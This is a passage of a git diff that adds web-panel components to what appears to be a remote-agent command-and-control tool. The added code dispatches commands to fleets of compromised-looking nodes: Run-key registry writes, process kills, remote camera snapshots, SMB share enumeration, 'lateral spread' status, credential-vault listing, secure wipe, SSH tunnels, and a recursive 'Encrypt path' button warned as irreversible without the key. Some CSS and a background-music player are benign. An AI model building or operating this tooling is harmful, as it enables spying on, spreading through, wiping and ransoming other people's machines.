placeholder="MAC (optional)"
|
||||
value={wolMac}
|
||||
onChange={(e) => setWolMac(e.target.value)}
|
||||
/>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={!hasSelection}
|
||||
title="POST /agents/{id}/wol — works when offline"
|
||||
onClick={() => void sendWol()}
|
||||
>
|
||||
Wake-on-LAN
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<button
|
||||
type="button"
|
||||
className="button crucible-op-btn crucible-op-muted"
|
||||
onClick={() => setRegistryOpen((v) => !v)}
|
||||
disabled={!hasSelection}
|
||||
>
|
||||
Registry {registryOpen ? '▲' : '▼'}
|
||||
</button>
|
||||
{registryOpen && (
|
||||
<div className="crucible-registry-panel">
|
||||
<div className="crucible-inline-row">
|
||||
<select className="crucible-inline-select" value={regHive} onChange={(e) => setRegHive(e.target.value)}>
|
||||
<option value="HKCU">HKCU</option>
|
||||
<option value="HKLM">HKLM</option>
|
||||
</select>
|
||||
<input
|
||||
className="crucible-inline-input"
|
||||
value={regPath}
|
||||
onChange={(e) => setRegPath(e.target.value)}
|
||||
placeholder="Software\...\Run"
|
||||
/>
|
||||
</div>
|
||||
<div className="crucible-inline-row">
|
||||
<input className="crucible-inline-input" value={regName} onChange={(e) => setRegName(e.target.value)} placeholder="Value name" />
|
||||
<input className="crucible-inline-input" value={regValue} onChange={(e) => setRegValue(e.target.value)} placeholder="Value (write)" />
|
||||
</div>
|
||||
<div className="crucible-inline-row">
|
||||
<button className="button crucible-op-btn" disabled={targets.length === 0} onClick={() => registryDispatch('registry_read')}>Read</button>
|
||||
<button className="button crucible-op-btn" disabled={targets.length === 0 || !regName} onClick={() => registryDispatch('registry_write')}>Write</button>
|
||||
<button className="button crucible-op-btn" disabled={targets.length === 0 || !regName} onClick={() => registryDispatch('registry_delete')}>Delete</button>
|
||||
</div>
|
||||
<p className="form-hint" style={{ margin: 0, fontSize: '0.68rem' }}>
|
||||
{targets.length > 1 ? 'Bulk registry ops apply to all online Windows selections (confirm).' : 'HKCU/HKLM under Software\\ or Environment.'}
|
||||
</p>
|
||||
</div>
|
||||
)}
|
||||
|
||||
<div className="crucible-inline-row">
|
||||
<input
|
||||
className="crucible-inline-input"
|
||||
placeholder="PID to kill"
|
||||
value={killPid}
|
||||
onChange={(e) => setKillPid(e.target.value)}
|
||||
/>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={!killPid.trim() || targets.length === 0}
|
||||
onClick={() => {
|
||||
if (!window.confirm(`Kill PID ${killPid} on ${targets.length} node(s)?`)) return;
|
||||
bulkDispatch('kill_process', { command: killPid.trim() });
|
||||
}}
|
||||
>
|
||||
Kill Process
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<div className="crucible-camera-row">
|
||||
<button className="button crucible-op-btn" disabled={targets.length === 0} onClick={() => void listCameras()}>
|
||||
List Cameras
|
||||
</button>
|
||||
{cameras.length > 0 && (
|
||||
<select className="crucible-inline-select" value={selectedCamera} onChange={(e) => setSelectedCamera(e.target.value)}>
|
||||
<option value="">— first device —</option>
|
||||
{cameras.map((c) => (
|
||||
<option key={c} value={c}>{c}</option>
|
||||
))}
|
||||
</select>
|
||||
)}
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={targets.length === 0}
|
||||
onClick={() => bulkDispatch('camera_snapshot', selectedCamera ? { command: selectedCamera } : {})}
|
||||
>
|
||||
Camera Snap
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<div className="crucible-inline-row">
|
||||
<input className="crucible-inline-input" placeholder="delete_path" value={deletePath} onChange={(e) => setDeletePath(e.target.value)} />
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={!deletePath.trim() || targets.length === 0}
|
||||
onClick={() => {
|
||||
if (!window.confirm(`Delete file ${deletePath} on ${targets.length} node(s)?`)) return;
|
||||
bulkDispatch('delete_path', { path: deletePath.trim() });
|
||||
}}
|
||||
>
|
||||
Delete File
|
||||
</button>
|
||||
</div>
|
||||
<div className="crucible-inline-row">
|
||||
<input className="crucible-inline-input" placeholder="move src" value={moveSrc} onChange={(e) => setMoveSrc(e.target.value)} />
|
||||
<input className="crucible-inline-input" placeholder="move dst" value={moveDst} onChange={(e) => setMoveDst(e.target.value)} />
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={!moveSrc.trim() || !moveDst.trim() || targets.length === 0}
|
||||
onClick={() => bulkDispatch('move_path', { path: moveSrc.trim(), data: moveDst.trim() })}
|
||||
>
|
||||
Move
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<div className="crucible-phase-c-row">
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={aggDisabled('smb_shares') || winTargets.length === 0}
|
||||
title={aggTitle('smb_shares') || 'Enumerate \\\\host\\share on Windows LAN (JSON)'}
|
||||
onClick={() => aggBulk('smb_shares', {}, undefined, winTargets)}
|
||||
>
|
||||
SMB Shares
|
||||
</button>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={!hasSelection || targets.length === 0}
|
||||
title="Last lateral spread sweep summary (JSON)"
|
||||
onClick={() => bulkDispatch('spread_status')}
|
||||
>
|
||||
Spread Status
|
||||
</button>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={aggDisabled('credential_vault_list')}
|
||||
title={aggTitle('credential_vault_list') || 'Credential vault names only (no secrets)'}
|
||||
onClick={() => aggBulk('credential_vault_list')}
|
||||
>
|
||||
Credential Names
|
||||
</button>
|
||||
<div className="crucible-inline-row" style={{ flex: '1 1 100%' }}>
|
||||
<input
|
||||
className="crucible-inline-input"
|
||||
placeholder="secure_wipe folder path"
|
||||
value={wipePath}
|
||||
onChange={(e) => setWipePath(e.target.value)}
|
||||
/>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={!wipePath.trim() || aggDisabled('secure_wipe')}
|
||||
title={aggTitle('secure_wipe') || 'Overwrite files then delete folder'}
|
||||
onClick={() => {
|
||||
if (!window.confirm(`Secure-wipe folder ${wipePath} on ${targets.length} node(s)?`)) return;
|
||||
bulkDispatch('secure_wipe', { path: wipePath.trim() });
|
||||
}}
|
||||
>
|
||||
Secure Wipe
|
||||
</button>
|
||||
</div>
|
||||
<CruciblePortForwardMatrix
|
||||
selectedAgents={selectedAgents}
|
||||
onEcho={onEcho}
|
||||
onDispatch={(agent, action, args) => dispatchOne(agent, action, args)}
|
||||
/>
|
||||
</div>
|
||||
</CollapsibleGroup>
|
||||
</>
|
||||
);
|
||||
}
|
||||
130
server/web/src/components/Fleet/CruciblePortForwardMatrix.tsx
Normal file
130
server/web/src/components/Fleet/CruciblePortForwardMatrix.tsx
Normal file
@@ -0,0 +1,130 @@
|
||||
import { useState } from 'react';
|
||||
import type { Agent } from '../../types';
|
||||
import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions';
|
||||
import {
|
||||
buildSSHForwardPayload,
|
||||
newPortForwardRow,
|
||||
type PortForwardRow,
|
||||
validatePortForwardRows,
|
||||
windowsOnlineAgents,
|
||||
} from '../../help/crucibleOps';
|
||||
|
||||
interface Props {
|
||||
selectedAgents: Agent[];
|
||||
onDispatch: (agent: Agent, action: string, args: Record<string, unknown>) => void | Promise<void>;
|
||||
onEcho: (text: string, isCmd?: boolean) => void;
|
||||
}
|
||||
|
||||
export default function CruciblePortForwardMatrix({ selectedAgents, onDispatch, onEcho }: Props) {
|
||||
const [open, setOpen] = useState(false);
|
||||
const [rows, setRows] = useState<PortForwardRow[]>(() => [newPortForwardRow()]);
|
||||
const winTargets = windowsOnlineAgents(selectedAgents);
|
||||
|
||||
const tunnelAllowed = (agent: Agent) =>
|
||||
canRunAggressiveAction('tunnel_ssh_forward', agent.capabilities, agent.platform);
|
||||
|
||||
const dispatchMatrix = () => {
|
||||
const err = validatePortForwardRows(rows);
|
||||
if (err) {
|
||||
alert(err);
|
||||
return;
|
||||
}
|
||||
if (winTargets.length === 0) {
|
||||
alert('Select online Windows agent(s) for SSH local forwards.');
|
||||
return;
|
||||
}
|
||||
const blocked = winTargets.find((a) => !tunnelAllowed(a));
|
||||
if (blocked) {
|
||||
alert(aggressiveActionHint('tunnel_ssh_forward', blocked.capabilities, blocked.platform));
|
||||
return;
|
||||
}
|
||||
if (
|
||||
!window.confirm(
|
||||
`Start ${rows.length} SSH forward(s) on each of ${winTargets.length} Windows node(s)?`
|
||||
)
|
||||
) {
|
||||
return;
|
||||
}
|
||||
for (const agent of winTargets) {
|
||||
for (const row of rows) {
|
||||
const payload = buildSSHForwardPayload(row.localPort, row.remoteHostPort, row.sshUser);
|
||||
if (!payload) continue;
|
||||
void onDispatch(agent, 'tunnel_ssh_forward', { data: JSON.stringify(payload) });
|
||||
}
|
||||
}
|
||||
onEcho(`tunnel_ssh_forward matrix → ${winTargets.length} node(s), ${rows.length} row(s)`, true);
|
||||
};
|
||||
|
||||
const updateRow = (id: string, patch: Partial<PortForwardRow>) => {
|
||||
setRows((prev) => prev.map((r) => (r.id === id ? { ...r, ...patch } : r)));
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="crucible-portfwd-matrix">
|
||||
<button
|
||||
type="button"
|
||||
className="button crucible-op-btn crucible-op-muted"
|
||||
onClick={() => setOpen((v) => !v)}
|
||||
disabled={winTargets.length === 0}
|
||||
title="Multi-row SSH local forward on selected Windows nodes"
|
||||
>
|
||||
Port-Forward Matrix {open ? '▲' : '▼'}
|
||||
</button>
|
||||
{open && (
|
||||
<div className="crucible-portfwd-body">
|
||||
<p className="form-hint" style={{ margin: '0 0 0.4rem', fontSize: '0.68rem' }}>
|
||||
Each row opens 127.0.0.1:local → remote on {winTargets.length} Windows node(s).
|
||||
</p>
|
||||
<div className="crucible-portfwd-grid">
|
||||
<span className="crucible-portfwd-head">Local</span>
|
||||
<span className="crucible-portfwd-head">Remote host:port</span>
|
||||
<span className="crucible-portfwd-head">SSH user</span>
|
||||
<span className="crucible-portfwd-head" />
|
||||
{rows.map((row) => (
|
||||
<div key={row.id} className="crucible-portfwd-row">
|
||||
<input
|
||||
className="crucible-inline-input"
|
||||
value={row.localPort}
|
||||
onChange={(e) => updateRow(row.id, { localPort: e.target.value })}
|
||||
placeholder="2222"
|
||||
/>
|
||||
<input
|
||||
className="crucible-inline-input"
|
||||
value={row.remoteHostPort}
|
||||
onChange={(e) => updateRow(row.id, { remoteHostPort: e.target.value })}
|
||||
placeholder="192.168.1.50:3389"
|
||||
/>
|
||||
<input
|
||||
className="crucible-inline-input"
|
||||
value={row.sshUser}
|
||||
onChange={(e) => updateRow(row.id, { sshUser: e.target.value })}
|
||||
placeholder="optional"
|
||||
/>
|
||||
<button
|
||||
type="button"
|
||||
className="button crucible-op-btn"
|
||||
onClick={() => setRows((prev) => (prev.length <= 1 ? prev : prev.filter((r) => r.id !== row.id)))}
|
||||
title="Remove row"
|
||||
>
|
||||
✕
|
||||
</button>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
<div className="crucible-inline-row">
|
||||
<button
|
||||
type="button"
|
||||
className="button crucible-op-btn"
|
||||
onClick={() => setRows((prev) => [...prev, newPortForwardRow()])}
|
||||
>
|
||||
+ Row
|
||||
</button>
|
||||
<button type="button" className="button crucible-op-btn" onClick={dispatchMatrix}>
|
||||
Dispatch Matrix
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -29,7 +29,7 @@ function parseListDir(message: string): { path: string; entries: DirEntry[] } |
|
||||
}
|
||||
|
||||
export default function FileManager({ agentId, agentName, online, commandResults }: Props) {
|
||||
const [cwd, setCwd] = useState('C:\\');
|
||||
const [cwd, setCwd] = useState('');
|
||||
const [entries, setEntries] = useState<DirEntry[]>([]);
|
||||
const [filter, setFilter] = useState('');
|
||||
const [selected, setSelected] = useState<Set<string>>(new Set());
|
||||
|
||||
@@ -1,6 +1,11 @@
|
||||
.agents-list-panel {
|
||||
flex: 1;
|
||||
min-width: 0;
|
||||
padding: 1rem;
|
||||
border: 1px solid var(--border-brass);
|
||||
border-radius: 2px;
|
||||
background: rgba(8, 6, 4, 0.45);
|
||||
box-shadow: var(--shadow-panel);
|
||||
}
|
||||
|
||||
.agents-list-panel .agents-list {
|
||||
|
||||
137
server/web/src/components/Fleet/RemoteDirBrowser.css
Normal file
137
server/web/src/components/Fleet/RemoteDirBrowser.css
Normal file
@@ -0,0 +1,137 @@
|
||||
.remote-dir-browser {
|
||||
border: 1px solid rgba(255, 34, 34, 0.35);
|
||||
border-radius: 6px;
|
||||
padding: 0.65rem 0.75rem;
|
||||
background: rgba(40, 0, 0, 0.25);
|
||||
margin-top: 0.5rem;
|
||||
}
|
||||
|
||||
.rdb-header {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
gap: 0.5rem;
|
||||
margin-bottom: 0.35rem;
|
||||
}
|
||||
|
||||
.rdb-title {
|
||||
font-size: 0.68rem;
|
||||
letter-spacing: 0.08em;
|
||||
color: #ff8888;
|
||||
}
|
||||
|
||||
.rdb-hint {
|
||||
margin: 0 0 0.45rem;
|
||||
font-size: 0.68rem;
|
||||
}
|
||||
|
||||
.rdb-offline {
|
||||
color: #ff6666;
|
||||
font-size: 0.78rem;
|
||||
margin: 0.25rem 0;
|
||||
}
|
||||
|
||||
.rdb-path {
|
||||
font-size: 0.72rem;
|
||||
color: var(--neon-cyan);
|
||||
margin-bottom: 0.35rem;
|
||||
word-break: break-all;
|
||||
}
|
||||
|
||||
.rdb-breadcrumb {
|
||||
margin-bottom: 0.4rem;
|
||||
flex-wrap: wrap;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.rdb-crumb {
|
||||
background: none;
|
||||
border: none;
|
||||
color: var(--neon-cyan, #0ff);
|
||||
cursor: pointer;
|
||||
font-size: 0.72rem;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.rdb-sep {
|
||||
opacity: 0.45;
|
||||
margin: 0 0.15rem;
|
||||
}
|
||||
|
||||
.rdb-list {
|
||||
list-style: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
max-height: 180px;
|
||||
overflow-y: auto;
|
||||
border: 1px solid #331111;
|
||||
background: rgba(0, 0, 0, 0.35);
|
||||
}
|
||||
|
||||
.rdb-row {
|
||||
display: flex;
|
||||
width: 100%;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
gap: 0.5rem;
|
||||
text-align: left;
|
||||
background: none;
|
||||
border: none;
|
||||
color: #ddd;
|
||||
padding: 0.3rem 0.5rem;
|
||||
cursor: pointer;
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.78rem;
|
||||
}
|
||||
|
||||
.rdb-row:hover {
|
||||
background: rgba(255, 34, 34, 0.12);
|
||||
}
|
||||
|
||||
.rdb-dir {
|
||||
color: #9fdcff;
|
||||
}
|
||||
|
||||
.rdb-size {
|
||||
color: #888;
|
||||
font-size: 0.68rem;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.rdb-actions {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.75rem;
|
||||
margin-top: 0.5rem;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.rdb-recursive {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.35rem;
|
||||
font-size: 0.75rem;
|
||||
color: #bbb;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.rdb-encrypt-btn {
|
||||
background: linear-gradient(135deg, #7b0000 0%, #cc0000 100%);
|
||||
border: 1px solid #ff2222;
|
||||
color: #fff;
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.05em;
|
||||
font-size: 0.78rem;
|
||||
padding: 0.35rem 0.75rem;
|
||||
}
|
||||
|
||||
.rdb-encrypt-btn:disabled {
|
||||
opacity: 0.45;
|
||||
}
|
||||
|
||||
.rdb-err {
|
||||
color: #ff6666;
|
||||
font-size: 0.75rem;
|
||||
margin: 0.35rem 0 0;
|
||||
}
|
||||
211
server/web/src/components/Fleet/RemoteDirBrowser.tsx
Normal file
211
server/web/src/components/Fleet/RemoteDirBrowser.tsx
Normal file
@@ -0,0 +1,211 @@
|
||||
import { useCallback, useEffect, useMemo, useState } from 'react';
|
||||
import { api } from '../../api/client';
|
||||
import {
|
||||
defaultBrowseRoot,
|
||||
joinRemotePath,
|
||||
parseListDirMessage,
|
||||
pathBreadcrumbs,
|
||||
type DirEntry,
|
||||
} from '../../help/remoteDirBrowser';
|
||||
import './RemoteDirBrowser.css';
|
||||
|
||||
interface Props {
|
||||
agentId: string;
|
||||
agentName?: string;
|
||||
platform?: string;
|
||||
online: boolean;
|
||||
/** Encrypt targets — all online selected agents when multi-select */
|
||||
encryptTargets: { id: string; name: string }[];
|
||||
commandResults?: { agentId: string; action: string; success: boolean; message: string }[];
|
||||
onTerminalLine?: (text: string, isCmd?: boolean) => void;
|
||||
}
|
||||
|
||||
export default function RemoteDirBrowser({
|
||||
agentId,
|
||||
agentName,
|
||||
platform,
|
||||
online,
|
||||
encryptTargets,
|
||||
commandResults,
|
||||
onTerminalLine,
|
||||
}: Props) {
|
||||
const [cwd, setCwd] = useState(() => defaultBrowseRoot(platform));
|
||||
const [entries, setEntries] = useState<DirEntry[]>([]);
|
||||
const [homeDir, setHomeDir] = useState('');
|
||||
const [recursive, setRecursive] = useState(true);
|
||||
const [busy, setBusy] = useState(false);
|
||||
const [err, setErr] = useState('');
|
||||
|
||||
const sep = cwd.includes('/') ? '/' : '\\';
|
||||
const crumbs = useMemo(() => pathBreadcrumbs(cwd), [cwd]);
|
||||
const browseLabel = homeDir || cwd || 'agent home';
|
||||
|
||||
const refresh = useCallback(() => {
|
||||
if (!online || !agentId) return;
|
||||
setBusy(true);
|
||||
setErr('');
|
||||
api.sendAgentCommand(agentId, 'list_dir', { path: cwd }).catch((e) => {
|
||||
setErr(e instanceof Error ? e.message : String(e));
|
||||
setBusy(false);
|
||||
});
|
||||
}, [agentId, cwd, online]);
|
||||
|
||||
useEffect(() => {
|
||||
setCwd(defaultBrowseRoot(platform));
|
||||
setEntries([]);
|
||||
setHomeDir('');
|
||||
setErr('');
|
||||
}, [agentId, platform]);
|
||||
|
||||
useEffect(() => {
|
||||
refresh();
|
||||
}, [refresh]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!commandResults?.length) return;
|
||||
const last = [...commandResults]
|
||||
.reverse()
|
||||
.find((r) => r.agentId === agentId && (r.action === 'list_dir' || r.action === 'encrypt_path' || r.action === 'sys_crypt'));
|
||||
if (!last) return;
|
||||
|
||||
if (last.action === 'list_dir') {
|
||||
if (last.success) {
|
||||
const parsed = parseListDirMessage(last.message);
|
||||
if (parsed) {
|
||||
setEntries(parsed.entries);
|
||||
if (parsed.path) setCwd(parsed.path);
|
||||
if (parsed.home_dir) setHomeDir(parsed.home_dir);
|
||||
}
|
||||
} else {
|
||||
setErr(last.message);
|
||||
}
|
||||
setBusy(false);
|
||||
} else if (last.action === 'encrypt_path' || last.action === 'sys_crypt') {
|
||||
setBusy(false);
|
||||
onTerminalLine?.(
|
||||
`${last.action} ${last.success ? 'OK' : 'FAIL'} — ${last.message.slice(0, 500)}`,
|
||||
false
|
||||
);
|
||||
}
|
||||
}, [commandResults, agentId, onTerminalLine]);
|
||||
|
||||
const navigate = (name: string, isDir: boolean) => {
|
||||
if (!isDir && name !== '..') return;
|
||||
setCwd(joinRemotePath(cwd, name));
|
||||
};
|
||||
|
||||
const goHome = () => {
|
||||
setCwd(homeDir || defaultBrowseRoot(platform));
|
||||
};
|
||||
|
||||
const runEncrypt = () => {
|
||||
const targets = encryptTargets.filter(Boolean);
|
||||
if (targets.length === 0) {
|
||||
alert('Select at least one online node.');
|
||||
return;
|
||||
}
|
||||
const pathLabel = cwd || homeDir || '(agent home)';
|
||||
const scope = recursive ? 'recursively' : 'non-recursively';
|
||||
const warn =
|
||||
targets.length > 1
|
||||
? `Encrypt ${pathLabel} ${scope} on ${targets.length} nodes?\n\nThis is IRREVERSIBLE without the key.`
|
||||
: `Encrypt ${pathLabel} ${scope} on ${targets[0].name}?\n\nThis is IRREVERSIBLE without the key.`;
|
||||
if (!confirm(warn)) return;
|
||||
|
||||
setBusy(true);
|
||||
onTerminalLine?.(
|
||||
`encrypt_path → ${pathLabel} [${scope}] on ${targets.length} node(s)`,
|
||||
true
|
||||
);
|
||||
|
||||
for (const t of targets) {
|
||||
api
|
||||
.sendAgentCommand(t.id, 'encrypt_path', {
|
||||
path: cwd || homeDir,
|
||||
command: recursive ? 'recursive' : '',
|
||||
})
|
||||
.catch((e) => {
|
||||
onTerminalLine?.(
|
||||
`[ERROR] encrypt_path @ ${t.name}: ${e instanceof Error ? e.message : String(e)}`,
|
||||
false
|
||||
);
|
||||
});
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="remote-dir-browser">
|
||||
<div className="rdb-header">
|
||||
<span className="font-tech rdb-title">REMOTE BROWSER — {agentName ?? agentId.slice(0, 8)}</span>
|
||||
<button type="button" className="crucible-op-btn" disabled={!online || busy} onClick={refresh}>
|
||||
Refresh
|
||||
</button>
|
||||
</div>
|
||||
{!online && <p className="rdb-offline">Agent offline — browse unavailable</p>}
|
||||
<p className="rdb-hint form-hint">
|
||||
Browse the remote machine filesystem. Encrypt runs on {encryptTargets.length} selected online node
|
||||
{encryptTargets.length !== 1 ? 's' : ''}.
|
||||
</p>
|
||||
<div className="rdb-path font-tech" title={cwd || homeDir}>
|
||||
{browseLabel}
|
||||
</div>
|
||||
<div className="rdb-breadcrumb font-tech">
|
||||
<button type="button" className="rdb-crumb" onClick={goHome}>home</button>
|
||||
{crumbs.map((c, i) => (
|
||||
<span key={`${c}-${i}`}>
|
||||
<span className="rdb-sep">/</span>
|
||||
<button
|
||||
type="button"
|
||||
className="rdb-crumb"
|
||||
onClick={() => {
|
||||
const parts = crumbs.slice(0, i + 1);
|
||||
const root = cwd.startsWith('/') ? '/' : '';
|
||||
setCwd(root + parts.join(sep));
|
||||
}}
|
||||
>
|
||||
{c}
|
||||
</button>
|
||||
</span>
|
||||
))}
|
||||
</div>
|
||||
<ul className="rdb-list">
|
||||
<li>
|
||||
<button type="button" className="rdb-row" onClick={() => navigate('..', true)}>..</button>
|
||||
</li>
|
||||
{entries.map((e) => (
|
||||
<li key={e.name}>
|
||||
<button
|
||||
type="button"
|
||||
className={`rdb-row ${e.is_dir ? 'rdb-dir' : 'rdb-file'}`}
|
||||
onClick={() => navigate(e.name, e.is_dir)}
|
||||
title={e.is_dir ? 'Open folder' : `${e.size} bytes`}
|
||||
>
|
||||
{e.is_dir ? '📁' : '📄'} {e.name}
|
||||
{!e.is_dir && (
|
||||
<span className="rdb-size">
|
||||
{e.size < 1024 ? `${e.size} B` : `${(e.size / 1024).toFixed(1)} KB`}
|
||||
</span>
|
||||
)}
|
||||
</button>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
<div className="rdb-actions">
|
||||
<label className="rdb-recursive">
|
||||
<input type="checkbox" checked={recursive} onChange={(ev) => setRecursive(ev.target.checked)} />
|
||||
Recursive
|
||||
</label>
|
||||
<button
|
||||
type="button"
|
||||
className="button rdb-encrypt-btn"
|
||||
disabled={!online || busy || encryptTargets.length === 0}
|
||||
title="AES-256-GCM encrypt files at the current path on selected node(s)"
|
||||
onClick={runEncrypt}
|
||||
>
|
||||
🔒 Encrypt path
|
||||
</button>
|
||||
</div>
|
||||
{err && <p className="rdb-err">{err}</p>}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
107
server/web/src/components/GlobalMusicPlayer.css
Normal file
107
server/web/src/components/GlobalMusicPlayer.css
Normal file
@@ -0,0 +1,107 @@
|
||||
.global-music-player {
|
||||
position: fixed;
|
||||
right: 1rem;
|
||||
bottom: 1rem;
|
||||
z-index: 900;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.45rem;
|
||||
padding: 0.35rem 0.5rem 0.35rem 0.35rem;
|
||||
border-radius: 4px;
|
||||
border: 1px solid rgba(120, 90, 200, 0.28);
|
||||
background: rgba(8, 6, 14, 0.82);
|
||||
backdrop-filter: blur(10px);
|
||||
box-shadow:
|
||||
0 4px 18px rgba(0, 0, 0, 0.55),
|
||||
0 0 1px rgba(0, 245, 255, 0.15);
|
||||
pointer-events: auto;
|
||||
opacity: 0.72;
|
||||
transition: opacity 0.25s ease, border-color 0.25s ease, box-shadow 0.25s ease;
|
||||
}
|
||||
|
||||
.global-music-player:hover,
|
||||
.global-music-player:focus-within {
|
||||
opacity: 1;
|
||||
border-color: rgba(0, 245, 255, 0.35);
|
||||
box-shadow:
|
||||
0 6px 22px rgba(0, 0, 0, 0.6),
|
||||
0 0 14px rgba(0, 245, 255, 0.12);
|
||||
}
|
||||
|
||||
.global-music-player__play {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
width: 1.75rem;
|
||||
height: 1.75rem;
|
||||
padding: 0;
|
||||
border: 1px solid rgba(0, 245, 255, 0.3);
|
||||
border-radius: 2px;
|
||||
background: rgba(12, 18, 28, 0.9);
|
||||
color: var(--neon-cyan, #00f5ff);
|
||||
cursor: pointer;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.global-music-player__play svg {
|
||||
width: 0.85rem;
|
||||
height: 0.85rem;
|
||||
}
|
||||
|
||||
.global-music-player__play:hover {
|
||||
border-color: var(--neon-cyan, #00f5ff);
|
||||
box-shadow: 0 0 10px rgba(0, 245, 255, 0.2);
|
||||
}
|
||||
|
||||
.global-music-player__vol {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
width: 4.5rem;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.global-music-player__vol input[type='range'] {
|
||||
width: 100%;
|
||||
height: 3px;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
border: none;
|
||||
background: transparent;
|
||||
accent-color: var(--neon-purple, #b24bf3);
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.global-music-player__vol input[type='range']::-webkit-slider-runnable-track {
|
||||
height: 3px;
|
||||
border-radius: 2px;
|
||||
background: rgba(100, 80, 140, 0.45);
|
||||
}
|
||||
|
||||
.global-music-player__vol input[type='range']::-webkit-slider-thumb {
|
||||
-webkit-appearance: none;
|
||||
width: 10px;
|
||||
height: 10px;
|
||||
margin-top: -3.5px;
|
||||
border-radius: 50%;
|
||||
background: var(--neon-cyan, #00f5ff);
|
||||
box-shadow: 0 0 6px rgba(0, 245, 255, 0.4);
|
||||
}
|
||||
|
||||
.sr-only {
|
||||
position: absolute;
|
||||
width: 1px;
|
||||
height: 1px;
|
||||
padding: 0;
|
||||
margin: -1px;
|
||||
overflow: hidden;
|
||||
clip: rect(0, 0, 0, 0);
|
||||
white-space: nowrap;
|
||||
border: 0;
|
||||
}
|
||||
|
||||
@media (max-width: 768px) {
|
||||
.global-music-player {
|
||||
right: 0.65rem;
|
||||
bottom: calc(4.25rem + env(safe-area-inset-bottom, 0px));
|
||||
}
|
||||
}
|
||||
48
server/web/src/components/GlobalMusicPlayer.tsx
Normal file
48
server/web/src/components/GlobalMusicPlayer.tsx
Normal file
@@ -0,0 +1,48 @@
|
||||
import { useAmbientMusic } from '../context/AmbientMusicContext';
|
||||
import './GlobalMusicPlayer.css';
|
||||
|
||||
export default function GlobalMusicPlayer() {
|
||||
const { enabled, playing, volume, setVolume, togglePlay } = useAmbientMusic();
|
||||
|
||||
return (
|
||||
<div
|
||||
className="global-music-player"
|
||||
data-sfx="off"
|
||||
role="region"
|
||||
aria-label="Background music controls"
|
||||
>
|
||||
<button
|
||||
type="button"
|
||||
className="global-music-player__play"
|
||||
onClick={togglePlay}
|
||||
aria-label={playing ? 'Pause background music' : 'Play background music'}
|
||||
title={playing ? 'Pause music' : enabled ? 'Play music' : 'Enable & play music'}
|
||||
>
|
||||
{playing ? (
|
||||
<svg viewBox="0 0 24 24" aria-hidden="true">
|
||||
<rect x="6" y="5" width="4" height="14" rx="1" fill="currentColor" />
|
||||
<rect x="14" y="5" width="4" height="14" rx="1" fill="currentColor" />
|
||||
</svg>
|
||||
) : (
|
||||
<svg viewBox="0 0 24 24" aria-hidden="true">
|
||||
<path d="M8 5v14l11-7z" fill="currentColor" />
|
||||
</svg>
|
||||
)}
|
||||
</button>
|
||||
<label className="global-music-player__vol" title="Music volume">
|
||||
<span className="sr-only">Music volume</span>
|
||||
<input
|
||||
type="range"
|
||||
min={0}
|
||||
max={100}
|
||||
step={5}
|
||||
value={Math.round(volume * 100)}
|
||||
onChange={(e) => setVolume(parseInt(e.target.value, 10) / 100)}
|
||||
aria-valuenow={Math.round(volume * 100)}
|
||||
aria-valuemin={0}
|
||||
aria-valuemax={100}
|
||||
/>
|
||||
</label>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -26,6 +26,7 @@ const NAV = [
|
||||
{ to: '/crucible', label: 'Crucible', icon: 'crucible' },
|
||||
{ to: '/forge', label: 'Forge', icon: 'forge' },
|
||||
{ to: '/builds', label: 'Builds', icon: 'builds' },
|
||||
{ to: '/emberwake', label: 'Emberwake', icon: 'ember' },
|
||||
{ to: '/guide', label: 'Field Guide', icon: 'guide' },
|
||||
{ to: '/settings', label: 'Calibrate', icon: 'gear' },
|
||||
{ to: '/pathtracer', label: 'Path Tracer', icon: 'trace' },
|
||||
@@ -85,6 +86,13 @@ function NavIcon({ type }: { type: string }) {
|
||||
<path d="M10 12l1.5 2L14 11" />
|
||||
</svg>
|
||||
);
|
||||
case 'ember':
|
||||
return (
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
|
||||
<path d="M12 3c2 4 4 5 4 9a4 4 0 01-8 0c0-4 2-5 4-9z" />
|
